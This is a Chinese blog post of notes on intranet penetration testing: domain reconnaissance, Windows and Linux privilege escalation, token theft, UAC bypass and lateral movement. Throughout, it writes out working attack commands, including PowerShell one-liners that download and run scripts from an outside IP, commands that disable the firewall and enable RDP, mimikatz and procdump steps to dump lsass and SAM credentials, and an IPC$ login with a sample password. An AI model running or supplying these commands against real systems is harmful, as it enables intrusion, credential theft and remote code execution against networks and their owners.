内网渗透--总结
Posted synh04
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透--总结相关的知识,希望对你有一定的参考价值。
内网渗透–总结
- 前言
记录一个月来对内网渗透的学习总结,内网渗透提前是我们已经通过各种手段拿到内网中某一台可以通向外网的服务器或主机的权限,然后把此当作跳板,内网渗透的目的是拿到DC域控制器的权限,达到控制整个域环境。
信息收集
内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点:
对当前机器角色的判断
对当前机器所处的网络环境进行判断
对当前机器所处的网络区域进行判断
本机信息收集
查看当前用户、权限
whoami
whoami /all // 查看当前域并获取域SID
- 当前域为god,当前域的sid为S-1-5-21-2952760202-1353902439-238178089,域用户administrator的sid为S-1-5-21-2952760202-1353902439-238178089-500。
查看网络配置情况
ipconfig /all // 查询本机IP段,所在域等
route print // 打印路由信息
arp -a // 查看arp缓存,可以发现内网主机
查看操作系统信息
systeminfo
执行以下命令直接查看操作系统及版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" // 中文操作系统
#### 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看安转的软件及版本信息
wmic product get name,version
查看本地用户列表
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)net user xxx // 查看指定用户详细信息
列出本地计算机与所连接的客户端主机之间的会话
net session
查看补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
- **注意:**域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以批量找到内网未打补丁的漏洞。
查看本机共享
net share
wmic share get name,path,status
查看本机进程
tasklist
wmic process
wmic process list brief
wmic process get processid,executablepath,name // 显示进程的路径、名称、pid
查看本机服务
wmic service list brief
查看自启程序列表
wmic startuo get command,caption
查看端口信息
netstat -ano
- 可以看到当前主机端口开放与使用情况、与哪些主机建立了连接。
查看主机开机时间
net statistics workstation
查看计划任务
schtasks /query /fo LIST /v // query显示所有计划任务
防火墙相关操作
netsh firewall show state // 防火墙状态
netsh firewall show config // 查看防火墙配置
netsh firewall set opmode disable // 关闭防火墙(windows server 2003及以前)
netsh advfirewall set allprofiles state off // 关闭防火墙(windows server 2003以后)
#### 修改防火墙配置
netsh firewall add allowedprogram c:\\\\xxx\\\\xx.exe "allow xx" enable // 允许指定程序的全部连接(windows server 2003及以前)
windows server 2003之后:
netsh advfirewall firewall add rule name="pass xx" dir=in action=allow program="C:\\xxx\\xx.exe" // 允许某个程序连入
netsh advfirewall firewall add rule name="pass xx" dir=out action=allow program="C:\\xxx\\xx.exe" // 允许某个程序外连
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow // 开启3389端口,允许改端口放行
开启远程桌面连接
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
自动化的信息收集脚本
下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
该脚本可以在目标机器上面完成服务。用户列表,用户组、网络接口、硬件信息、网络共享信息、操作系统、安装的补丁、安装的软件、自启程序、时区等信息的查询工作。其利用WMIC来收集信息。执行脚本后,会将所有结果写入一个html文件,如下图所示
域内信息收集
判断是否存在域
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KzwUGLor-1652025169788)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220503114929179.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ADHQqk58-1652025169789)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220503114943518.png)]
- 上图中,“工作站DNS名称”为域名(若为WORKGROUP,则表示当前不是域环境),登录域为当前登陆的域。
systeminfo
- 如上图,“域”即域名,如果为WORKGROUP则表示当前不是域环境,机器不在于内。
查看主域控制器
net time /domain // 主域服务器会同时作为时间服务器
- 可知当前主域为owa。
net group "domain controllers" /domain // 查看域控制器组
nltest /DCLIST:god // 查看域控制器主机名,god为域名
定位域控制器
我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。
ping owa.god.org // owa为域控制器名
列出域信任关系
nltest /domain_trusts 列出域与域之间的信任关系
查看域内用户组列表
net group /domain
Domain Admins 域管理员组
Domain Computers 域内的机器
Domain Controllers 域控制器
Domain Users 域用户
Enterprise Admins 企业系统管理员组
查看所有的域成员主机(机器用户;不包括域控):
查看域管理员组:
- 如上图可以得到域管理员用户有administrator和owa$。
net group "Enterprise Admin" /domain
获取域密码信息
net accounts /domain
查看域用户信息
net user /domain // 查看域用户
net user xxx /domain // 查看指定域用户详细信息
获取域内用户详细信息
wmic useraccount get /all
域内端口扫描
我们在内网渗透中,通过查看域内目标主机的端口开放情况,来了解目标主机上的服务,通过其服务版本还可以找到其开放服务的漏洞。我们可以使用metasploit内置的端口扫描模块,也可以上传端口扫描工具进行扫描。在扫描时注意以下几点:
- 端口的banner信息
- 端口上运行的服务
利用telnet工具进行端口扫描
Telnet是进行远程登录的标准协议和主要方式,它为用户提供了在本地计算机上完成远程主机工作的能力。可以用telnet命令来测试端口号是否正常打开还是关闭状态。使用时需要目标主机在“添加删除程序”里面的“打开或关闭windows功能”里面开启telnet功能,然后你再去CMD的命令行里面输入telnet就没有问题了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Okrm5zuL-1652025169802)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220503121314172.png)]
telnet <主机> <端口>
telnet 192.168.52.138 445
- 出现连接失败,代表对方端口没有打开。
PowerSploit 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/PowerShellMafia/PowerSploit
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'"
// 或者扫描全部的端口:-Ports "1-65535"
Nishang 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/samratashok/nishang
该脚本可用于发现主机、解析主机名、扫描端口。
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'"
// -ResolveHost:解析主机名
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可,也是我最常用的一个。详情见我的文章《内网渗透测试:隐藏通讯隧道技术》
Metasploit 端口扫描模块
Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
####收集域内端口的banner信息
banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。
使用Nmap获取banner
nmap <IP地址> --script=banner -p <端口/端口范围>
(666口好像是个木马)
使用nc获取banner
nc -nv <IP地址> <端口>
#### 探测内网主机存活
使用Metasploit模块
Metasploit中提供了很多内置的内网存活主机扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/tcpauxiliary/scanner/discovery/arp_sweep // 基于arp的主机发现
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
利用NetBIOS快速扫描内网存活
**Netbios:**网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
nbtscan.exe是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。
下载地址:https://github.com/MrAnonymous-1/nbtscan
将nbtscan.exe上传到目标主机上,然后直接输入ip段即可运行扫描:
nbtscan.exe 192.168.1.0/24
扫描两个网段:
SHARING:该主机存在正在运行的文件和打印共享服务
DC:该机器可能是域控制器
?:没有识别处该机器的NetBIOS资源
利用Ping探测内网主机存活(ICMP)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
基于ARP的主机探测
利用arp-scan.exe工具。
下载地址:https://github.com/MrAnonymous-1/arp-scan
将对应系统版本的arp-scan上传到目标主机上,执行如下命令:
arp-scan.exe -t <IP段>
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可。
定位域管理员
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到系统管理员组中。因此,域管理员组的成员均可以访问本地计算机,且具备完全控制权限。
我们在渗透中,常常使用各种工具来获取当前域管理员在线登录的机器,入侵此机器,然后迁移到域管理登陆所在的进程,便拥有了域管理的权限。定位域内管理员的常规方法,一是日志,二是会话。
利用 psloggedon.exe
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能需要管理员权限。
psloggedon.exe [-] [-l] [-x] [\\\\computername或username]
查看登陆过OWA(域控)机器的用户:
查看本地登陆的用户:
指定用户名,在网络中查找指定用户登陆的计算机:
\\\\computername | 指定要为其列出登录信息的计算机的名称 |
---|---|
username | 指定用户名,在网络中搜索该用户登陆的计算机 |
利用 PVEFindADUser.exe
下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置.NET Framework 2.0 环境,并需要有管理员权限。
PVEFindADUser.exe <参数>
我们一般直接运行pvefinaduser.exe -current
命令,即可显示域中所有计算机上当前登陆的所有用户。
显示域中所有计算机上当前登陆的所有用户:
显示指定用户登陆的计算机:
具体参数:
current[“username”] | 如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\\Username),则显示该用户登陆的计算机 |
---|---|
其他参数:
-target | 用于指定要查询的主机。如果未指定此参数,将查询当前与内所有主机 |
---|---|
利用 PowerView.ps1 脚本
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
powerview脚本可以用来获取当前域管理员在线登录的服务器,其依赖powershell和wmi,在powersploit工具包中,是一个收集域信息很好用的脚本。
- Invoke-UserHunter:**搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。**它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。
如下,可以看到本地域有两个域管理员:
我们通过Invoke-UserHunter(等于Invoke-UserHunter -CheckAccess)来定位他们:
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1');Invoke-UserHunter
详情请执行Get-Help Invoke-UserHunter
命令查看,具体使用方法与前两个相似,它可以找到域内特定的用户群,接受用户名、用户列表和域组列表查询,接受一个主机列表或查询可用的主机域名。一切都是灵活的,让你自己定义找寻谁,在哪里找。
获取指定用户在线机器:
PowerView是个非常强大、好用的内网渗透脚本,PowerView的其他命令请查看官方文档。
权限提升
- 前言
当我们拿到一个shell后,往往都是普通用户权限,普通用户权限低所能操作受太多的限制,所以我们要提权,提权至高权限,方便我们后面的操作。
windows 提权
- 在Windows中,有User、Administrator、System、TrustedInstaller这四种用户权限,其权限从左到右依次升高。
Windows系统内核溢出漏洞提权
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
- 手动查找系统潜在漏洞
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo
或
wmic qfe get caption,description,hotfixid,installedon
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iMMU0n9M-1652025169839)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220508183814855.png)]
- 可以看到系统就装了这几个补丁。攻击者会通过没有列出的补丁号,寻找相应的提权EXP,例如KiTrap0D和KB979682对应、MS10-021和KB979683对应等等。然后使用目标机上没有的安装的补丁号对应的EXP进行提权。Windows不同系统提权的漏洞和相应的补丁请见:https://github.com/lyshark/Windows-exploits
自动查找系统潜在漏洞
方法一:Windows Exploit Suggester
下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester
使用:
更新漏洞库:D:\\Python27\\python.exe windows-exploit-suggester.py --update
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tvgHRggT-1652025169841)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220508185106686.png)]
生成系统信息文件:systeminfo > sysinfo.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zjqxtgXh-1652025169842)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220508185321709.png)]
两个文件进行比较:>D:\\Python27\\python.exe windows-exploit-suggester.py -d 2022-05-08-mssb.xls -i sysinfo.txt 不知道怎么搞得前几天都行的,现在说缺了个xlrd库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gTYR7Slp-1652025169843)(C:\\Users\\jk\\AppData\\Roaming\\Typora\\typora-user-images\\image-20220508185518423.png)]
方法二:local_exploit_suggester 模块
Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。
使用如下,假设我们已经获得了目标主机的一个session:
use post/multi/recon/local_exploit_suggester
set session 1
exploit
方法三:enum_patches 模块
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:
use post/windows/gather/enum_patches
set session 1
exploit
在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。
下载地址:https://github.com/rasta-mouse/Sherlock
该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:
powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1'); // 远程执行
Import-Module 目录\\Sherlock.ps1 本地执行
Find-AllVulns // 调用脚本后,执行搜索命令
选择漏洞并利用
漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/brianwrf/WinSystemHelper
https://github.com/bitsadmin/wesng
https://github.com/lyshark/Windows-exploits
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/klsfct/getshell
Windows系统错误配置漏洞提权
- 如果碰到无法通过系统内核溢出漏洞,可以利用系统中的错误配置漏洞来提权。
Trusted Service Paths漏洞(可信任服务路径漏洞)
例如,我们有一个文件路径为“C:\\Program Files\\Some Folder\\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。
首先,我们可以用以下命令列出目标主机中所有存在空格且没有被引号括起来服务路径:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr/i /v """
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下.
该提权方法在metasploit中对应的模块为:exploit/windows/local/unquoted_service_path,使用如下:
(在之前的metasploit中为exploit/windows/local/trusted_service_path,但在新版的metasploit中替换替换成了exploit/windows/local/unquoted_service_path)
use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f
exploit
系统服务错误权限配置漏洞
该漏洞利用有以下两种情况:
- 服务未运行:攻击者会使用任意服务直接替换原来的服务,然后重启服务。
- 服务正在运行且无法终止:这种情况符合绝大多数漏洞利用的场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
1. 利用PowerUp.ps1脚本
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
该漏洞提权在metasploit上面对应的模块为exploit/windows/local/service_permissions:
如上图,该模块有两个可以设置的选项,其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。演示如下:
(别忘了迁移进程哦~~)
AccessChk使用
AccessChk工具,其为SysInterals套件里的一个工具,常用于Windows中进行一些系统或程序的高级查询、管理和排除故障等。AccessChk是微软官方的工具,一般不会引起杀软的报警没所以常会被攻击者利用下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而是会采用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员的账号和密码等信息。我们可以对整个系统进行检查,这些安装配置文文件列举如下:
- C:\\sysprep.inf
- C:\\syspreg\\sysprep.xml
- C:\\Windows\\system32\\sysprep.inf
- C:\\windows\\system32\\sysprep\\sysprep.xml
- C:\\unattend.xml
- C:\\Windows\\Panther\\Unattend.xml
- C:\\Windows\\Panther\\Unattended.xml
- C:\\Windows\\Panther\\Unattend\\Unattended.xml
- C:\\Windows\\Panther\\Unattend\\Unattend.xml
- C:\\Windows\\System32\\Sysprep\\Unattend.xml
- C:\\Windows\\System32\\Sysprep\\Panther\\Unattend.xml
AlwaysInstallElevated注册表键提权
Metasploit 下的利用
Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated
Windows组策略首选项提权
##### Metasploit下的利用
Metasploit下的相关模块为post/windows/gather/credentials/gpp,该模块可以获取组策略中的密码。
use post/windows/gather/credentials/gpp
set session xxx
exploit
Windows 令牌窃取
令牌(token)是系统的临时秘钥,相当于账号和密码。
Metasploit下的令牌窃取
需要我们已经获取了目标主机一个administrator权限的meterpreter,需要提前至system,我们可以用metasploit的incognito模块窃取令牌。
如下,输入use incognito
来先加载incognito模块,然后输入list_tokens -u
命令即可列出可用的访问令牌:
可以看到,这里的Windows访问令牌有两种类型:
Delegation Token:授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。
**注:**两种token只在系统重启后清除 具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效。
这里,我们可以看到列出了三个授权令牌,我们执行如下命令,就可以伪造NT AUTHORITY\\SYSTEM令牌,来模拟SYSTEM用户了:
impersonate_token "NT AUTHORITY\\SYSTEM"
1
注意:list_tokens -u
命令列出的令牌取决于你获得的meterpreter的访问级别,这里我们测试的是管理员权限到system权限,如果我们获取的用户不是管理员而是普通用户权限,也有可能列出相应的高权限令牌。
此外,我们还可以利用steal_token <pid>
命令从相应的进程中窃取令牌。先执行ps
找到User为SYSTEM或管理员的进程,并记下其进程的PID,然后执行steal_token <pid>
:
Metasploit incognito模块的相关命令如下:
getuid # 查看当前令牌(token)
use incognito # 加载incognito模块
list_tokens -u # 列出访问令牌
impersonate_token "NT AUTHORITY\\\\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 # 从进程窃取token
getsystem # 提升至system权限
rev2self # 返回到之前的AccessToken权限
1234567
incognito.exe工具下的令牌窃取
下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
incognito.exe工具也可以用来进行令牌窃取。
首先在目标主机上上传incognito.exe:
然后进入shell,执行如下命令列举存在的访问令牌:
incognito.exe list_tokens -u
1
然后我们就可以通过执行如下命令窃取令牌来模拟其他用户:
incognito.exe execute -c "完整的Token名称" <要执行的命令>
例如执行whoami命令:
incognito.exe execute -c "完整的Token名称" whoami
例如:模拟SYSTEM权限用户:
incognito.exe execute -c "NT AUTHORITY\\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
12345678
但是这里由于我们是在meterpreter的shell中执行的系统命令,其没有回显(时间好长啊),我们可以直接上传一个msf马和incognito.exe,然后利用窃取的令牌所获得的system权限来执行我们所上传的msf马,从而从新获得一个system权限的meterpreter,如下图,成功获得了一个system权限的meterpreter:
Rotten Potato工具下的令牌窃取
下载地址:https://github.com/foxglovesec/RottenPotato
我们也可以通过Rotten Potato工具快速的窃取用户的访问令牌来模拟用户实现权限提升。
Rotten Potato工具的目录中有一个rottenpotato.exe,在运行该二进制文件后,可以快速模拟令牌。
首先上rottenpotato.exe上传到目标主机中:
然后在meterpreter中分别执行如下命令来模拟出system用户的令牌:
execute -HC -f ./rottenpotato.exe # 执行rottenpotato.exe程序
impersonate_token "NT AUTHORITY\\\\SYSTEM"
12
PowerShell下的令牌窃取
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
Invoke-TokenManipulation.ps1脚本是PowerSploit中Exfiltration文件夹内的一个脚本。
首先执行如下命令列举token:
IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate
1
如上图,成功列举出了token。然后执行如下命令窃取system的token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\\SYSTEM"
1
这里,在成功窃取TrustedInstaller的令牌后会发现自己的权限仍是NT AUTHORITY\\SYSTEM,这是因为TrustedInstaller权限也会显示为NT AUTHORITY\\SYSTEM,执行下面这个命令:
whoami /groups | findstr TrustedInstaller
1
如果有回显,代表当前是TrustedInstaller权限:
######绕过UAC提权
UAC,即用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
使用 UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC 会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
Metasploit 下的绕过UAC提权
exploit/windows/local/ask # 弹出UAC确认窗口,然后诱使用户点击后获得system权限
exploit/windows/local/bypassuac # 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC的第二个shell。
exploit/windows/local/bypassuac_injection # 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_fodhelper # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10的UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_eventvwr # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_comhijack # 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。
1234567891011
以上模块都是从meterpreter中设置好session执行完后,绕过UAC,获得一个关闭了UAC的第二个shell,再在这个关闭了UAC的第二个shell中执行getsystem
即可完成提权。
PowerShell下的绕过UAC提权
即利用Nishang中Escalation目录下的Invoke-PsUACme.ps1脚本。
下载地址:https://github.com/samratashok/nishang
执行如下命令:
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.101.219.210/nishang/Escalation/Invoke-PsUACme.ps1');Invoke-PsUACme -Verbose # 使用sysprep方法并执行默认的payload
Invoke-PsUACme -method oobe -verbose # 使用oobe方法并执行默认的payload
123
如下图,执行完后会弹出一个具有管理员权限的shell:
还可以使用 -Payload
参数自行指定要执行的Payload:
Invoke-PsUACme -method oobe -verbose -Payload "powershell -windowstyle hidden -e YourBase64EncodedPayload"
1
即可在绕过UAC后以高权限执行后面的powershell代码。
还可以使用-PayloadPath
参数自行指定要执行的Payload的路径:
Invoke-PsUACme -method oobe -verbose -PayloadPath <路径>
1
我们可以利用这个来在绕过UAC后以高权限执行后面的msf马,以获得管理员权限的meterpreter。
除了以上那些绕过UAC的方法外,我们还可以利用CVE-2019-1388等漏洞来绕过,该漏洞位于Windows的UAC机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。利用该漏洞很容易就可以提升权限到SYSTEM
Linux提权
内核溢出提权
https://github.com/SecWiki/linux-kernel-exploits
计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
SUID
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb \\;
寻找可利用bin:https://gtfobins.github.io/
环境变量
cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
系统服务的错误权限配置漏洞
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
不安全的文件/文件夹权限配置
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
找存储的明文用户名,密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
横向移动
获取明文密码或Hash密码(需要管理员权限)
PwDump7工具
下载地址:https://www.openwall.com/passwords/windows-pwdump
Mimikatz工具
下载地址:https://github.com/gentilkiwi/mimikatz
privilege::debug // 提升至debug权限
sekurlsa::logonpasswords // 抓取密码
Procdump与Mimikatz配合使用
Procdump是微软官方发布的工具,所以杀软不会拦截,其可以用来将目标lsass文件导出。下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
先用在目标机器上传微软的工具Procdump,导出其lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将在目标机器上导出的lsass.dmp下载到本地后,执行mimikatz导出lsass.dmp里面的密码和hash:
sekurlsa::minidump 目录\\lsass.dmp // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full // 获取密码
通过SAM和System文件抓取密码和Hash
先利用注册表命令将目标机的sam或system文件导出,需要管理员权限:
reg save hklm\\sam sam.hive
reg save hklm\\system system.hive
然后,将目标机上的sam.hive和system.hive下载到本地,利用mimikatz读取sam和system文件获取NTLM Hash:
lsadump::sam /sam:sam.hive /system:system.hive
也可以直接使用mimikatz读取本地SAM文件,获得密码Hash:
privilege::debug
token::elevate
lsadump::sam
Quarks PwDump工具
下载地址:https://github.com/quarkslab/quarkspwdump
QuarksPwDump.exe --dump-hash-local // 导出本地hash值
QuarksPwDump.exe -dhl
QuarksPwDump.exe -dhdc // 导出内存中的域控哈希值
QuarksPwDump.exe --dump-hash-domain-cached
利用Windows远程连接命令进行横向渗透
建立IPC连接
net use \\\\<DC的IP>\\ipc$ "password" /user:"username"
net use \\\\192.168.183.130\\ipc$ "Liu78963" /user:"administrator"
net use // 查看当前主机所建立的连接
列出DC上C盘的目录:
dir \\\\192.168.183.130\\c$
将文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去)
copy C:\\Users\\douser\\Desktop\\whoami.txt \\\\192.168.183.130\\c$
建立 ipc$ 连接的条件:
- 目标主机开启了139和445端口
